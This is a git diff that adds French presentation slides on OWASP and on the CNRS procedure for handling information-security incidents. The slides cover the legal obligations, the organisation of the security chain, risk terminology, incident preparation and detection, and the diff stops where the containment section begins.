+[<i class="fa fa-github"></i> un gist exemple](https://gist.github.com/nealrs/28dbfe2c74dfdde26a30)
+
+
+[<i class="fa fa-book"></i> pour le reste tout est accessible à partir d'ici](http://edu.muetton.me/)
diff --git a/content/slides/1337/md/owasp.md b/content/slides/1337/md/owasp.md
new file mode 100644
index 0000000000000000000000000000000000000000..c3556b2f8f6b24d78233e5373c5a2e60795c9e80
--- /dev/null
+++ b/content/slides/1337/md/owasp.md
@@ -0,0 +1,105 @@
+## OWASP
+* depuis janvier 2001
+* fondation Américaine
+    * [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29)
+* en France
+    * Association loi 1901
+    * participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/)
+    * Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint)
+      * [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/)
+
+<br /><br />
+
+<iframe src="https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/video/" width="640" height="380" frameborder="0" allowfullscreen></iframe>
+
+
+## OWASP - Indépendance
+
+* composé d'experts indépendants
+* indépendant des fournisseurs de solution 
+* indépendant des gouvernements
+* Les projets sont opensource
+* nombreux adhérents
+  * entreprises
+  * institutions
+  * individus
+    * [liste des membres](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit)
+      * [join now](http://myowasp.force.com/memberappregion)
+        * <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum
+
+
+## OWASP - Projets
+
+!["OWASP Flagship mature project"](images/Flagship_banner.jpg "OWASP Flagship mature project")
+!["OWASP Lab medium level project"](images/Lab_banner.jpg "OWASP Lab medium level project")
+!["OWASP Low activity project"](images/Low_activity.jpg "OWASP Low activity project")
+!["OWASP Incubator new projects"](images/Incubator_banner.jpg "OWASP Incubator new projects")
+
+
+## OWASP - Quelques projets
+
+* Automated Security Verification
+    * Vulnerability Scanners
+    * Statis Analysis Tools
+    * fuzzing (test de données aléatoires en entrée d'un programmme)
+* Manual Security Verification
+    * Penetration Testing Tools
+    * Code Review Tools
+* Security Architecture
+    * ESAPI
+* Secure coding
+    * AppSec Libraries
+    * ESAPI Reference implementation
+    * Guards and Filters
+
+
+## OWASP - Quelques projets
+
+* AppSec Management
+    * Reporting Tools
+* AppSec Education
+    * Flawed Apps (application trouée)
+    * Learning Environments
+    * Live CD
+    * SiteGenerator (generateur de sites  avec vulnérabilités)
+* Canaux de diffusion
+    * [wiki](https://www.owasp.org/index.php/Main_Page)
+    * [Podcast](https://www.owasp.org/index.php/OWASP_Podcast)
+    * [Conference](https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference)
+    * [Lists](https://lists.owasp.org/mailman/listinfo)
+    * [Livres](https://www.owasp.org/index.php/Category:OWASP_Books)
+    * [OWASP github](https://github.com/OWASP)
+
+
+## Owasp projects architecture
+
+* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project)
+* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) -> v4 in progress
+   * [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)
+* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
+* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project)
+* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project)
+* Projects
+    * [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets)
+    * [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS)
+    * [OWASP Top Ten Project](http://www.owasp.org/index.php/Top_10)
+    * [OWASP Code Review Guide](http://www.owasp.org/index.php/Category:OWASP_Code_Review_Project)
+    * [OWASP Testing Guide](http://www.owasp.org/index.php/Testing_Guide)
+    * [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project)
+
+
+## S4UC3 PLZ
+
+* [OWASP Where we are.. Where are we going](https://docs.google.com/presentation/d/1ZgY25F0F7QgScMlB1X7LAa70LtyJql8XqcYdR4suPUo/edit#slide=id.g1fd9ad1e_0_10)
+* [[MSTD10] - Une méthode d'évaluation de la sécurité Web - 1/1](http://www.microsoft.com/france/vision/mstechdays10/Webcast.aspx?EID=413f809d-abbc-467d-a930-5e2d7da27fef)
+* [Web Application Firewalls (WAF)](http://www.cert-ist.com/documents/Document_Cert-IST_000333.pdf)
+* Autres
+    * [PCI SSC ‐ Payment Card Industry Security Standards Council](https://www.pcisecuritystandards.org)
+        * [PCI - DSS Data Payment Card Industry Security Standard](https://www.pcisecuritystandards.org/security_standards/documents.php)
+        * [french version](http://fr.pcisecuritystandards.org/minisite/en/) 
+    * [Web Application Security Consortium Project page](http://projects.webappsec.org)
+    * [Imperva - Resources](http://www.imperva.com/resources/overview.html)
+    * [MITRE ‐ Common Weakness Enumeration – Vulnerability](Trends, http://cwe.mitre.org/documents/vuln‐trends.html)
+    * [CLUSIF](http://www.clusif.asso.fr/)
+        * [CLUSIF - ouvrages](http://www.clusif.asso.fr/fr/production/ouvrages/)
+        * [CLUSIR - Rhônes-Alpes](http://www.clusir-rha.fr/)
diff --git a/content/slides/1337/md/reagir/00_contexte.md b/content/slides/1337/md/reagir/00_contexte.md
new file mode 100644
index 0000000000000000000000000000000000000000..e4ef330efa80118c0d309e6f660788aa4dd0a3e7
--- /dev/null
+++ b/content/slides/1337/md/reagir/00_contexte.md
@@ -0,0 +1,198 @@
+## Contexte
+
+<div style="text-align: center">
+
+![alt text](/_/gdi/images/contexte.jpg "Contexte") <!-- .element: width="80%" -->
+
+</div>
+
+
+## Contexte
+* Les états ont/vont renforcer la règlementation pour combattre les failles et les attaques [LPM/SAIV/OIV](http://www.defense.gouv.fr/actualites/dossiers/la-loi-de-programmation-militaire-lpm-2014-2019), [PPSIE](http://www.ssi.gouv.fr/fr/menu/actualites/le-premier-ministre-dote-l-etat-de-sa-premiere-politique-globale-de-securite.html), [Les différents plans gouvernementaux](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/), ...
+* L’incident n’est plus l’exception mais la règle, il faut 
+  * industrialiser son traitement
+  * limiter l’impact direct sur l’information, les processus métiers, l’organisme, les personnes
+  * limiter l’impact indirect sur les équipes en charge du traitement
+  * se protéger, c’est aussi savoir réagir !
+
+Note:
+- Loi contre le terrorisme 2014
+- Loi pour le renseignement 2015
+- contexte tendu depuis les attentats
+- piratage récent Sony / TV5 monde ... Thalès
+
+
+## Obligation légale <!-- .element: id="legal" -->
+* [Règlement européen du 24/06/2013](http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:L:2013:173:0002:0008:FR:PDF")
+* [PSSIE (Article 7) - 17 jullet 2014](http://www.ssi.gouv.fr/IMG/pdf/pssie_anssi.pdf)
+  * *"Chaque entité contribue à la protection et à la défense des systèmes d'information de L'Etat par la mise en place d'une "chaîne opérationnelle", qui rend compte régulièrement à la chaîne fonctionnelle SSI"*
+* [Objectifs de sécurité [ANSSI]- 27 férvier 2014](http://www.ssi.gouv.fr/IMG/pdf/20140310_Objectifs_de_cybersecurite_document_public.pdf)
+  * 5/ Gérer les incidents de cybersécurité
+* [Informatique et liberté (article 34 bis)](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000000886460#LEGIARTI000024504700)
+  * Violation des [données à caractère personnel](http://www.cil.cnrs.fr/CIL/spip.php?rubrique299a)
+    * déclaration à la CNIL et à l’intéressé
+* [Arrêté du 3 juillet 2012 ](http://www.legifrance.gouv.fr/affichTexte.do?cidTexte=JORFTEXT000026140136&dateTexte=) relatif à la PPST
+    * Article 1 : signalement des incidents majeurs
+* [Charte informatique du CNRS (3.2 Règles d’utilisation)](http://www.cil.cnrs.fr/CIL/IMG/pdf/charte_info.pdf)
+
+Note:
+- Niveau Francais, Défense, IL pour l'utilisateur, employeur, Européen
+- d'où cette formation
+
+
+## Objectifs
+* Maintenir les compétences
+* Mettre en place une "bonne pratique" supplémentaire
+* Renforcer l’expertise interne existante
+* Préparer une formation "investigation"
+* Préparer le développement d’un réseau national collaboratif d’experts
+* Anticiper le passage à un système de détection – réaction plus efficace
+
+
+## de la [sécurité nationale](http://fr.wikipedia.org/wiki/S%C3%A9curit%C3%A9_nationale) à la SSI au CNRS           
+### [La défense en profondeur](http://circulaire.legifrance.gouv.fr/pdf/2009/04/cir_2014.pdf)
+
+* Sébastien Le Prestre de Vauban
+            
+<div style="text-align: center;">
+    <img src="/_/images/fortification-a-la-vauban.jpg" width="50%" />
+</div>
+            
+* exploiter plusieurs techniques de sécurité afin de réduire le risque lorsqu'un composant particulier de sécurité est compromis ou défaillant
+
+Note:
+- circulaire à lire
+- un mot sur la défense nationale / défense globale / sécurité nationale
+
+
+## Stratégie de la défense en profondeur
+* n'évite pas l'attaque
+  * ralentit l'attaquant en lui opposant des difficultés multiples et variées
+    * **chacun** est un maillon de la sécurité nationale
+      * **chacun** est donc responsable
+        * de l'analyse des risques inhérents à son périmètre pour mieux les maîtriser
+        * de l'anticipation et de la prévention des accidents et des actes de malveillance
+        * **de l'amélioration continuelle de la sécurisation de son périmètre**
+          * le risque 0 n'existe pas
+          * la sécurité peut toujours être améliorée
+
+
+## la chaîne Sécurité Défense
+
+<div style="text-align: center;">
+    <img src="/_/ssi/images/ssi/organisation_nationale_sdn.png" width="50%" />
+</div>
+
+Note:
+- FSD CNRS Philippe Gasnot
+- Le haut "socle commun avec les partenaires"
+- le bas "niveau établissements"
+
+
+## la chaîne SSI
+
+<div style="text-align: center;">
+    <img src="/_/ssi/images/ssi/organisation_nationale.png" width="50%" />
+</div>
+
+Note:
+- AQSSI Alain Fuchs
+
+
+## la chaîne sécurité au CNRS
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/organisation_securite_cnrs.png" />
+</div>
+
+Note:
+- RSSI DR7 Gaetan Dardy
+- RSSI CNRS M. Parache a démissionné et va être bientôt remplacé…
+
+
+## La SSI niveau national CNRS
+* Un RSSIC nommé par le président et placé, sous l’autorité du DGDR, à la DSI dispose d’une équipe    
+  * Un RSSIC adjoint
+  * Un RSSI DSI
+  * Dont les missions principales sont  
+    * L’animation du réseau SSI du CNRS
+    * La définition et le suivi du plan d’action national SSI qui est présenté devant le Comité de Pilotage de la SSI du CNRS
+    * La prise en compte des directives SGDSN – Ministère en lien avec les partenaires du domaine ESR
+  * Qui est également chargé de mission auprès du Fonctionnaire de Sécurité et de Défense (FSD) du CNRS
+    * pour garantir la conformité des actions SSI avec la protection du potentiel scientifique et  technique
+
+Note:
+- RSSIC adjoint Francois Morris
+- RSSI DSI Jérémie Boutard
+
+
+## La SSI niveau régional CNRS
+* Un RSSI de DR
+  * nommé, dans chaque délégation régionale après avis du RSSIC
+  * anime le réseaux des chargés de sécurité des systèmes d’information (CSSI) des unités suivies par sa délégation
+* La CRSSI
+  * Le RSSI DR s’entoure, en accord avec le RSSIC, d’experts SSI appartenant à des unités de recherche, pour former une coordination régionale de la SSI (CRSSI)
+
+
+## La SSI niveau unité CNRS
+* Le DU est responsable de la SSI
+* [Le Chargé de sécurité des systèmes d’information (CSSI)](https://aresu.dsi.cnrs.fr/spip.php?article120) 
+  * nommé par le directeur d’unité, après avis du RSSI régional
+  * assiste son DU dans l’exercice de sa responsabilité en matière de SSI
+  * assiste son DU pour la mise en œuvre de la PSSI du CNRS dans son unité
+  * sensibilise les agents à la SSI
+  * met en Å“uvre les recommandations SSI transmises par le RSSI du CNRS
+  * gère les alertes et incidents
+
+Note:
+- responsabilité du DU exemple du chiffrement
+
+
+## Point de contact
+* Toute unité doit en avoir un
+  * Un événement lié à la sécurité de l'information doit être rapporté, enregistré, traité au niveau local
+    * Si signalé à un niveau supérieur, sera systématiquement répercuté au niveau local
+    * Au cas où le niveau local serait impliqué, possibilité de signalement au niveau supérieur
+  * Publié, connu de tous
+    * Noms des personnes
+    * Mèl
+    * Téléphone
+  * Assistance utilisateurs si elle existe
+  * Souvent CSSI, ASR
+  * Peut être mutualisé entre plusieurs unités
+  * Pas nécessairement un spécialiste de la sécurité
+
+
+## ISIRT (Information Security Incident Response Team)
+<div style="text-align: center;">
+    <img src="/_/gdi/images/isirt_cnrs.png" />
+</div>
+
+
+## Remontée et veille en sécurité CNRS
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/remontee_veille_cnrs.png" />
+</div>
+
+
+## [Espace de travail collaboratif dédié à la SSI](https://extra.core-cloud.net/collaborations/RSSI-CNRS)
+
+* Partagé
+  * RSSI + Adjoints (partenaires compris)
+  * CRSSI
+  * CSSI + Adjoints
+  * 1 liste d’ASR pour la diffusion des alertes hebdomadaires
+* Prévention
+  * Documentation sur la sensibilisation des utilisateurs
+  * Enquête (vivante) sur le déploiement du chiffrement
+* Politique de sécurité
+  * PGSSI du CNRS dont la charte SSI du 29/11/2013
+  * PSSI opérationnelle pour les laboratoires
+  * Liste des règles classée par chapitre (sensibilité notée 1 à 3 *)
+* Un système de déclaration des incidents utilisant un workflow
+
+Note:
+- le live CD d'A2IMP
+- des fiches techniques liés aux événements d'actualités
+- ces supports et ceux des autres DR
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/01_formalisation.md b/content/slides/1337/md/reagir/01_formalisation.md
new file mode 100644
index 0000000000000000000000000000000000000000..9d6ec6d3c1ef85b1b4d2318c415238dbc80ddacf
--- /dev/null
+++ b/content/slides/1337/md/reagir/01_formalisation.md
@@ -0,0 +1,131 @@
+## Formalisation
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/GdI-incidents.png" width="70%"/>
+</div>
+
+
+## qu'est ce qu'un incident de sécurité?
+
+* violation d'un des critères de sécurité de l'information
+ * confidentialité
+ * intégrité 
+ * disponibilité
+
+
+## [Gestion de risques](https://www.cases.lu/fr/gestion-du-risque.html)
+### ici avec la terminologie [EBIOS](http://www.ssi.gouv.fr/IMG/pdf/EBIOS-1-GuideMethodologique-2010-01-25.pdf)
+* utilise plusieurs éléments de la méthodologie
+  * notion de scenarii
+  * notion de vraissemblance / probabilité / occurrence
+  * les échelles
+  * les bases de connaissances
+* doit être caractérisé par un type
+  * vol ou perte
+  * intrusion
+  * ingénierie sociale (arnaque, phishing, etc.)
+  * violation des règles (P2P illégal)
+  * Déni de services
+  * Vulnérabilité découverte mais a priori non exploitée
+
+
+## Sources de Menaces 
+### Caractéristaion
+* origine humaine 
+  * intentionnelle
+    * motivations
+  * accidentelle
+* origine non humaine
+  * naturelle
+  * animale
+  * contingence
+* facilité d'accès au sujet de l'étude (interne ou externe)
+* capacités (force intrinsèque, selon leurs ressources, expertise, dangerosité…)
+  * notion pertinente en analyse de risques
+  * inutile dans le cas de la gesiton d'incident (l'attaque a eu effectivement eu lieu)
+
+
+## Sources de Menaces <!-- .element: id="menace" -->
+### Classification
+* Source humaine interne, malveillante
+* Source humaine externe, malveillante
+* Source humaine interne, sans intention de nuire
+* Source humaine externe, sans intention de nuire
+* Code malveillant d'origine inconnue
+* Phénomène naturel
+* Catastrophe naturelle ou sanitaire
+* Activité animale
+* Événement interne
+
+
+## Motivations
+* Jeu, défi
+* Curiosité
+* Argent, cupidité, gain financier
+* Destruction, vandalisme, sabotage
+* Vengeance
+* Rébellion
+* Idéologie, avantage politique
+* Chantage
+* Ego, amour-propre, couverture médiatique
+* Recherche d'un avantage concurrentiel, espionnage économique, renseignement
+* Terrorisme
+* Erreurs et omissions involontaires
+
+
+## Actifs
+* Actifs primordiaux
+  * Processus et activités métier
+  * Informations
+* Actifs support
+  * Matériel
+  * Logiciels
+  * Réseau
+  * Personnel
+  * Site
+  * Structure de l'organisation
+* Menace
+  * Cible les actifs primordiaux
+  *Exploite les vulnérabilités des actifs en support
+
+
+## Vulnérabilités<!-- .element: id="vulnerabilite" -->
+* A identifier au mieux 
+  * Déterminer les versions des produits
+    * trouver des vulnérabilités connues
+      * Si possible déterminer le <a href="http://cve.mitre.org/index.html">CVE (Common Vulnerabilities and Exposures)</a>
+
+
+## Exploits
+* Mode opératoire de l’attaquant
+  * Récupérer le maximum d’informations sur
+    * Actions effectuées        
+    * Outils, programmes, scripts utilisés
+
+
+## Impacts, conséquences
+* Types dimpacts et conséquences retenus pour le CNRS
+  * Pertes financières
+  * Désorganisation interne
+  * Atteinte à l’image de marque
+  * Pertes du potentiel scientifique et technique
+  * Condamnation et contentieux
+  * Sécurité des personnes et  atteintes à l'environnement
+* Evaluation
+  * Immédiat : perte d'un critère de sécurité (DIC)
+    * Pertes directes (vol ou perte)
+    * Temps passé à la résolution de l'incident
+    * Temps perdu suite à une indisponilibité ou à la restauration de l'intégrité
+  * Plus ou moins long terme
+
+
+## Gravité
+* Evaluation une fois l'analyse de l'incident terminé
+* Mêmes échelles que pour l’appréciation des risques
+* Estimation des conséquences potentielles en fonction des éléments disponibles
+  * Prévoir le pire
+  * Doit être en permanence reconsidérée
+* Les quasi incidents
+  * Les dommages ont été évités par chance
+  * Découverte de vulnérabilités
+  * Doit être évalué comme un risque
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/02_etapes_principales.md b/content/slides/1337/md/reagir/02_etapes_principales.md
new file mode 100644
index 0000000000000000000000000000000000000000..058e297dc419550dcbedc6eb13ba83265b88228a
--- /dev/null
+++ b/content/slides/1337/md/reagir/02_etapes_principales.md
@@ -0,0 +1,48 @@
+## &Eacute;tapes principales
+
+<div style="text-align: center">
+    <img src="/_/gdi/images/plan.jpg" width="70%" />
+</div>
+
+
+## Etapes de la gestion d’incidents
+* La norme définit 5 étapes : [ISO27035 4.5](http://www.iso27001security.com/html/27035.html) (Information security incident management)
+  * Prepare
+  * Identify
+  * Assess
+  * Respond
+  * Learn
+* Cette formation traite la gestion d'incidents en 6 étapes
+  * Préparer
+  * Détecter, évaluer et réagir
+  * Confiner et acquérir (rapidement)
+  * Eradiquer et agir (efficacement)
+  * Recouvrer (et prévenir)
+  * Consolider
+
+
+## Diagramme de flux
+
+<div style="text-align: center;">
+    <a href="/_/gdi/images/diagdeflux.png"><img src="/_/gdi/images/diagdeflux.png" width="40%" /></a>
+</div>
+
+Note:
+- aspect amélioration
+
+
+## Cartographie de la Gestion d'incidents au CNRS
+
+[![alt text](/_/gdi/images/MindMap.png "Cartographie de la Gestion d'incidents au CNRS")](https://aresu.dsi.cnrs.fr/IMG/pdf/Incidents.pdf)
+
+
+## Roue de Deming (PDCA)
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/PDCA.jpg" width="70%" />
+</div>
+
+* Planifier
+* Développer
+* Contrôler
+* Ajuster
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/03_preparer.md b/content/slides/1337/md/reagir/03_preparer.md
new file mode 100644
index 0000000000000000000000000000000000000000..7544b311a63f127441567ee777b535945a7cef46
--- /dev/null
+++ b/content/slides/1337/md/reagir/03_preparer.md
@@ -0,0 +1,133 @@
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/etes-vous-prets.jpg" width="70%"/>
+</div>
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* être identifié comme CSSI
+* organiser la sensibilisation
+* anticiper l'arrivée de l'incident pour
+  * dédramatiser
+  * avoir une marche à suivre
+    * éviter les erreurs techniques et organisationelles   
+  * éviter la culpabilité
+  * éviter la dissimulation
+    * la déclaration d'incident est une obligation légale
+    * rappeler les Chartes d'utilisation des moyens informatiques du CNRS et des partenaires
+
+Note:
+- vertu de l'identificaiton, facilite la remontée évite la dissimulation amène à un comportement intelligent vis à vis de l'incidetn
+- sensibilisation bon point de départ
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* L’environnement organisationnel
+  * Préparer ou se rapprocher des procédures de gestions de crise
+  * Préparer ou se rapprocher des plans de communication 
+    * Préparer la gestion des priorités avec la hiérarchie, pour  exemple :
+      * P1 : les personnes
+      * P2 : les informations « PPST » 
+      * P3 : les informations personnelles
+      * etc.
+  * S'assurer que la hiérarchie est impliquée et consciente de sa responsabilité
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* L’environnement organisationnel
+  * Préparer une fiche de contacts (hiérarchie, partenaires, tutelles, etc.) 
+  * Identifier les chaines de sécurité (ISIRT ou CSIRT en local, régional, national, partenaires, etc.)    
+  * Préparer des fiches réflexes
+  * Connaitre les différents plan de continuité (PCA) et plan de reprise (PRA) du périmètre
+    * par exemple, les bascules automatiques peuvent détruire les preuves
+  * Disposer d’une liste d’outils pour l’acquisition (A2IMP)
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* L’environnement légal
+* Etre à jour sur les déclarations CNIL
+* Etre à jour sur la réglementation spécifique
+* Avoir mis en place les mentions légales
+   * Web: [http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales](http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales)
+    * Systèmes: <img src="/_/gdi/images/notice_to_users.png" width="60%" />
+
+Note: 
+- Affaire bluetouf & kitetoa "il n'ya pas de délis sans intention de le connaître"
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* Gestion des traces
+  * [Politique de gestion des traces d'utilisation des moyens informatiques et des services réseau au CNRS](https://aresu.dsi.cnrs.fr/IMG/pdf/Po_gest_traces.pdf)
+    * Le CNRS a fait une déclaration à la CNIL relative aux logs
+      * Conserver
+        * Logs serveurs et postes de travail
+        * Logs serveurs de messagerie
+        * Logs serveurs Web
+        * Logs Services réseaux + équipements d'extrémités (Firewalls, routeurs, …)
+        * Logs de systèmes de détection d'intrusion (IDS)
+        * Logs de applications spécifiques, dès lors qu'elles enregistrent des données de connexion, d'utilisation
+  * La durée de conservation de ces journaux est fixée au maximum à 1 an (et au minimum à 1 an aussi ...)
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* Gestion des traces
+  * Elle nous précise aussi la manière dont : 
+    * on peut exploiter ces données (analyse, statistiques, …)
+    * l'unité doit informer les utilisateurs de la gestion qui est faite des traces qui les concernent.
+  * En fonction de ces informations, il apparaît qu’il est à minima fortement recommandé de :
+    * Gérer ses logs sur tous ses serveurs
+    * déployer une architecture de centralisation des logs
+  * Solution préconisée par le CNRS:
+    * rsyslog + outil d'analyse (logCheck, logwatch, logAnalyser, logStash, ElasticSearch, Kibana)
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* La gestion des traces
+  * Les utilisateurs doivent être informés (CNIL)
+    * Charte
+  * Le traitement doit être proportionnel (CNIL)
+    * Gestion pour supervision technique sans intrusion dans la vie privée
+    * Analyse fine uniquement à la demande de la chaîne SSI / Défense CNRS si suspicion 
+  * Destinataires   
+    * Chaîne SSI / Défense CNRS
+    * OPJ dans le cadre d’une enquête préliminaire ou commission rogatoire
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* Pour anticiper le recouvrement s'assurer
+  * D’avoir un inventaire à jour des mots de passe et des séquestres
+    * Physique
+    * Numérique
+    * Doit être frais et fonctionnel (à tester)
+      * Etes vous en mesure de déverrouiller un périphérique chiffré pris au hasard sur votre parc?
+  * D'avoir des sauvegardes fraîches et fonctionnelles (outil de sauvegarde / dashboard pour le suivi)   
+  * Que vous n'êtes pas le seul à pouvoir réaliser tester ces opérations
+    * A minima qu'elles soient documentées
+    * idéalement former une équipe d'experts en gestion des incidents
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* Kit de survie GdI
+  * liste des contacts
+  * [bloc-note (journal)](/_/gdi/download/Fiche_intervention.pdf)
+  * <i class="fa fa-gift"></i> disque dur externe (recueil de preuve) 
+  * [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) et doc [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac)
+    * [version antérieure](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/ISO%20A2IMP.aspx)
+  * Procédures (confinements, configurations, restaurations…)
+
+
+## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
+* Faire de la veille de vulnérabilités SSI
+  * [https://listes.services.cnrs.fr/wws/admin/corresp_ssi](https://listes.services.cnrs.fr/wws/admin/corresp_ssi)
+    * Pour être abonné  à cette liste de diffusion, il faut faire partie d’au moins une de ces listes sous CORE
+      * CSSI, CSSI Adjoints, ASR, RSSI Régionaux, RSSI Régionaux adjoints, RSSI Instituts, CRSSI ou être directement inscrit par le RSSI du CNRS.
+    * [l'intranet du CNRS](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/Forms/AllItems.aspx?TreeField=Folders)
+      * [Que faire en cas de rançongiciel ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Rancongiciel.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1)
+      * [Que faire en cas de défiguration de site web ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Traitement%20d%C3%A9figuration.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1)
+  * [https://aresu.dsi.cnrs.fr/spip.php?rubrique73](https://aresu.dsi.cnrs.fr/spip.php?rubrique73)
+  * [http://www.certa.ssi.gouv.fr/](http://www.certa.ssi.gouv.fr/)
+  * [https://services.renater.fr/ssi/cert/info-secu](https://services.renater.fr/ssi/cert/info-secu)
+  * [http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/](http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/)
+  
+<!-- * [http://vigilance.fr](http://vigilance.fr), [https://twitter.com/VUPEN](https://twitter.com/VUPEN), [https://secunia.com/community/advisories/historic/](https://secunia.com/community/advisories/historic/) -->
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/04_detecter_evaluer_et_reagir.md b/content/slides/1337/md/reagir/04_detecter_evaluer_et_reagir.md
new file mode 100644
index 0000000000000000000000000000000000000000..88921e7dbb4e54f5cd396d7f56c80995ce06dadc
--- /dev/null
+++ b/content/slides/1337/md/reagir/04_detecter_evaluer_et_reagir.md
@@ -0,0 +1,44 @@
+## Détecter, évaluer et réagir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/> 
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/detecter.jpg" width="70%"/>
+</div>
+
+
+## Détection <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+### sources
+* Utilisateurs
+  * Helpdesk
+    * Incidents informatiques
+      * Changements
+      * Performances
+      * Redémarrage de machines
+* Analyses des journaux, outils de surveillance
+  * IDS, IPS, sondes, SIEM, etc.
+* Métrologie
+* ISIRT ([RENATER](https://www.renater.fr/), [CERT-FR](http://cert.ssi.gouv.fr/) [ex CERTA](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html))
+* Police, justice, Victimes d’une attaque
+* Médias, Sites web ([zataz](http://www.zataz.com/tag/cnrs), [zone-h](http://www.zone-h.org/archive/filter=1/fulltext=1/domain=cnrs), pastebin, etc.)
+
+
+## Identifier & caractériser <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+* Recueillir les qui, quoi, quand, où, comment, etc.
+* En premier lieu, vérifier que ce n'est pas 
+   * une erreur de configuration
+   * une erreur humaine 
+   * un défaut de communication entre personnes ou entités
+* Première évaluation, sans parti pris, ni conclusion hâtive
+* En cas de doute ne pas hésiter à demander de l'aide (local, régional, national)
+
+
+## 1<sup>ère</sup> évaluation  <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+* Désigner une personne compétente (formée)
+  * identifiée en phase de préparation et lui laisser la main
+* Ouverture du kit de gestion des incidents
+* Horodatage précis de l'ouverture du journal
+* Déterminer "à grosse maille" 
+  * ce qui a été compromis
+  * l'étendu des dégâts
+* Typer et classer l'incident
+  * Passer rapidement et directement au confinement
+  * Ou escalader auprès de la hiérarchie et/ou en gestion de crise, puis passer rapidement au confinement
\ No newline at end of file
diff --git a/content/slides/1337/md/reagir/05_confiner_et_acquerir.md b/content/slides/1337/md/reagir/05_confiner_et_acquerir.md
new file mode 100644
index 0000000000000000000000000000000000000000..616db42e87d3feecda1babbab5f16517414788a0
--- /dev/null
+++ b/content/slides/1337/md/reagir/05_confiner_et_acquerir.md
@@ -0,0 +1,56 @@
+## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+
+<div style="text-align: center;">
+    <img src="/_/gdi/images/inscetoscopes.jpg" width="70%"/>
+</div>
+
+
+## Les outils A2IMP <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
+
+* A2IMP : Aide à l'Acquisition d'Informations sur une Machine Piratée
